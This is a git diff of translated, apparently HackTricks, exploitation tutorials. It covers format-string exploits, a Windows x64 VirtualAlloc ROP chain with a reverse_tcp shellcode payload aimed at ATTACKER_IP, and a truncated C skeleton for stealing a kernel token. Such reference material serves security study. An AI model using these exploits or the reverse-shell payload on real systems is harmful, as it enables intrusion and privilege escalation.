Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:49:04 +00:00
parent 0e1ffda421
commit a4c2165443
5 changed files with 663 additions and 406 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -1,17 +1,17 @@
# Format Strings
# Cadenas de formato
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto crudo con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto crudo.
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
La vulnerabilidad aparece cuando un **texto controlado por el atacante se usa como el primer argumento** de esta función. El atacante podrá elaborar una **entrada especial abusando** de las **capacidades de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo será posible **ejecutar código arbitrario**.
#### Formateadores:
#### Especificadores de formato:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -30,7 +30,7 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso Normal:
- Uso normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
@ -52,9 +52,9 @@ fclose(output_file);
return 0;
}
```
### **Accediendo a Punteros**
### **Accediendo a punteros**
El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Entonces, si quieres leer el cuarto parámetro de la pila usando printf podrías hacer:
```c
printf("%x %x %x %x")
```
@ -66,14 +66,14 @@ printf("%4$x")
```
y leer directamente el cuarto.
Nota que el atacante controla el parámetro de `printf`, **lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su input va a estar en el stack cuando se llame a `printf`, lo que implica que podría escribir direcciones de memoria específicas en el stack.
> [!CAUTION]
> Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
> Un atacante que controle este input, podrá **añadir direcciones arbitrarias en el stack y hacer que `printf` acceda a ellas**. En la siguiente sección se explicará cómo usar este comportamiento.
## **Lectura Arbitraria**
## **Arbitrary Read**
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla e **imprimirla como si fuera una cadena** (imprime hasta encontrar un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en el stack, es posible imprimir el inicio del binario con:
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.
> Ten en cuenta que no puedes poner la address 0x8048000 al principio del input porque la string será cat en 0x00 al final de esa address.
### Encontrar el desplazamiento
### Encontrar offset
Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`.
Para encontrar el offset de tu input puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
<details>
<summary>Fuerza bruta printf offset</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -128,38 +128,38 @@ p.close()
### Qué tan útil
Las lecturas arbitrarias pueden ser útiles para:
Arbitrary reads pueden ser útiles para:
- **Volcar** el **binario** de la memoria
- **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** el **binary** desde la memoria
- **Acceder** a partes específicas de la memoria donde se almacena **información** sensible (como canaries, claves de cifrado o contraseñas personalizadas como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Escritura Arbitraria**
## **Arbitrary Write**
El formateador **`%<num>$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`%<num>$n`** escriba un número arbitrario en una dirección arbitraria.
El formateador `%<num>$n` escribe el número de bytes escritos en la dirección indicada por el parámetro <num> en el stack. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que `%<num>$n` escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s en la entrada; por ello es posible usar el formateador `%.<num-write>%<num>$n` para escribir el número `<num-write>` en la dirección apuntada por la posición `num`.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en vez de `$n`. Esto permite **escribir sólo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la address y otra para los más bajos.
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).**
En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:
En este ejemplo, el objetivo va a ser **overwrite** la **address** de una **function** en la tabla **GOT** que será llamada más adelante. Aunque esto podría aprovechar otras arbitrary write to exec techniques:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
Vamos a **overwrite** una **function** que **recibe** sus **arguments** del **user** y la **point** hacia la **`system`** **function**.\
Como se mencionó, para escribir la address normalmente se necesitan 2 pasos: primero **escribes 2Bytes** de la address y luego los otros 2. Para ello se usa **`$hn`**.
- **HOB** se llama a los 2 bytes más altos de la dirección
- **LOB** se llama a los 2 bytes más bajos de la dirección
- A **HOB** se le llama a los 2 higher bytes de la address
- A **LOB** se le llama a los 2 lower bytes de la address
Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
Luego, debido a cómo funcionan las format string necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -175,11 +175,12 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en:
{{#ref}}
format-strings-template.md
{{#endref}}
O este ejemplo básico de [**aquí**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
O este ejemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -198,20 +199,61 @@ p.sendline('/bin/sh')
p.interactive()
```
## Cadenas de Formato a BOF
## Format Strings to BOF
Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**.
Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**.
## Otros Ejemplos y Referencias
## Windows x64: Format-string leak to bypass ASLR (no varargs)
En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites vulnerables la cadena controlada por el atacante se usa como argumento de formato pero no se proporcionan argumentos variádicos, por ejemplo:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente argumento variádico del registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el sitio de la llamada será impreso. En la práctica esto a menudo produce un leak de un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), que puede usarse para recuperar la module base y derrotar ASLR.
Practical workflow:
- Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (by reversing once with symbols or a local copy), y recupera el image base como `leak - known_offset`.
- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y IAT entries de forma remota.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Notas:
- El offset exacto a restar se encuentra una vez durante el reversing local y luego se reutiliza (mismo binary/version).
- Si "%p" no imprime un pointer válido en el primer intento, prueba otros specifiers ("%llx", "%s") o conversiones múltiples ("%p %p %p") para samplear otros argument registers/stack.
- Este patrón es específico de la Windows x64 calling convention y de las implementaciones de printf-family que fetch nonexistent varargs from registers cuando el format string los solicita.
Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.
## Otros Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución)
- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak la flag desde el stack (no es necesario alterar el flujo de ejecución)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (así el flujo vuelve a entrar 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelve a main, `strlen` se ejecuta con input del usuario y, apuntando a `system`, ejecutará los comandos pasados.
## Referencias
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en el stack de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluido un ejemplo sencillo en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
### Ejemplo en C: Un Programa Vulnerable
### Ejemplo en C: Un programa vulnerable
Comencemos con un ejemplo simple de un programa C vulnerable:
Comencemos con un ejemplo sencillo de un programa en C vulnerable:
```c
#include <stdio.h>
#include <string.h>
@ -24,20 +24,20 @@ printf("Returned safely\n");
return 0;
}
```
Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función `gets()`.
Este programa es vulnerable a un buffer overflow debido al uso de la función `gets()`.
### Compilación
Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Desactiva la protección de pila.
- `-fno-stack-protector`: Desactiva la protección de la pila.
- `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
- `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode.
- `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.
- `-no-pie`: Desactiva Position Independent Executable (PIE), lo que facilita predecir la dirección de memoria donde estará ubicado nuestro shellcode.
- `-m32`: Compila el programa como ejecutable de 32 bits, a menudo usado por simplicidad en el desarrollo de exploits.
### Python Exploit usando Pwntools
### Exploit en Python usando Pwntools
Aquí tienes cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
Este script construye un payload consistente en una **NOP slide**, el **shellcode**, y luego sobrescribe la **EIP** con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute.
El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
La **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento de `p32()` a la dirección inicial de tu buffer más un offset para aterrizar en la NOP slide.
## Protecciones
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
- La protección **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
En Windows modernos la stack no es ejecutable (DEP/NX). Una forma común de aún ejecutar shellcode residente en la stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde la Import Address Table (IAT) del módulo para hacer que una región de la stack sea ejecutable y luego retornar al shellcode colocado después de la cadena.
## Otros Ejemplos y Referencias
Puntos clave (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → elige una dirección en la stack actual (p.ej., RSP) para que la región RWX recién asignada solape tu payload
- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p.ej., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Estrategia mínima:
1) Leak a module base (p.ej., via a format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR.
2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no dispones de pop r8/r9 directo, usa gadgets aritméticos para sintetizar constantes (p.ej., establece r8=0 y suma repetidamente r9=0x40 cuarenta veces para alcanzar 0x1000).
3) Coloca el stage-2 shellcode inmediatamente después de la chain.
Ejemplo de disposición (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Con un conjunto de gadgets limitado, puedes crear valores de registros de forma indirecta, por ejemplo:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → coloca r9 con el valor de rbx, pone a 0 r8 y compensa la pila con un qword basura.
- xor rbx, rsp; ret → inicializa rbx con el puntero de pila actual.
- push rbx; pop rax; mov rcx, rax; ret → mueve el valor derivado de RSP a RCX.
Ejemplo de Pwntools (dada una base conocida y gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Consejos:
- VirtualProtect funciona de manera similar si es preferible convertir un buffer existente a RX; el orden de los parámetros es diferente.
- Si el espacio en stack es limitado, asigna RWX en otro lugar (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack.
- Siempre ten en cuenta los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords de relleno.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde la función será almacenada no será siempre la misma y necesitarías algún leak para saber dónde está cargada la win function.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitadas o la dirección de retorno EIP comprometida nunca será seguida.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protección **stack** impediría la ejecución del shellcode dentro de la stack porque esa región no será ejecutable.
## Otros ejemplos y referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él
- 64bit, ASLR con stack address leak, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él
- 32 bit, ASLR con stack leak, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
- 32 bit, ASLR con stack leak, comparación para evitar la llamada a exit(), sobrescribir una variable con un valor y escribir shellcode y saltar a él
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila
- arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack
## Referencias
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Resumen
Si un driver vulnerable expone un IOCTL que le da a un atacante primitivas de lectura y/o escritura arbitraria en kernel, elevarse a NT AUTHORITY\SYSTEM a menudo se logra robando un Token de SYSTEM. La técnica copia el puntero Token desde el EPROCESS de un proceso SYSTEM al EPROCESS del proceso actual.
Por qué funciona:
- Cada proceso tiene una estructura EPROCESS que contiene (entre otros campos) un Token (en realidad un EX_FAST_REF a un objeto token).
- El proceso SYSTEM (PID 4) tiene un token con todos los privilegios habilitados.
- Reemplazar el EPROCESS.Token del proceso actual con el puntero al token de SYSTEM hace que el proceso actual se ejecute como SYSTEM inmediatamente.
> Los offsets en EPROCESS varían entre versiones de Windows. Determínalos dinámicamente (símbolos) o usa constantes específicas por versión. También recuerda que EPROCESS.Token es un EX_FAST_REF (los 3 bits bajos son banderas del contador de referencias).
## Pasos a alto nivel
1) Localiza la base de ntoskrnl.exe y resuelve la dirección de PsInitialSystemProcess.
- Desde user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers para obtener las bases de los drivers cargados.
- Añade el offset de PsInitialSystemProcess (desde símbolos/reversing) a la base del kernel para obtener su dirección.
2) Lee el puntero en PsInitialSystemProcess → este es un puntero en kernel al EPROCESS de SYSTEM.
3) Desde el EPROCESS de SYSTEM, lee los offsets UniqueProcessId y ActiveProcessLinks para recorrer la lista doblemente enlazada de estructuras EPROCESS (ActiveProcessLinks.Flink/Blink) hasta encontrar el EPROCESS cuyo UniqueProcessId sea igual a GetCurrentProcessId(). Conserva ambos:
- EPROCESS_SYSTEM (para SYSTEM)
- EPROCESS_SELF (para el proceso actual)
4) Lee el valor del token de SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Enmascara los 3 bits bajos: Token_SYS_masked = Token_SYS & ~0xF (comúnmente ~0xF o ~0x7 dependiendo del build; en x64 se usan los 3 bits bajos — máscara 0xFFFFFFFFFFFFFFF8).
5) Opción A (común): Conserva los 3 bits bajos de tu token actual y únelos al puntero de SYSTEM para mantener consistente el contador de referencias embebido.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Escribe Token_NEW de vuelta en (EPROCESS_SELF + TokenOffset) usando tu primitiva de escritura en kernel.
7) Tu proceso actual ya es SYSTEM. Opcionalmente lanza un nuevo cmd.exe o powershell.exe para confirmar.
## Pseudocódigo
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your drivers interface.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
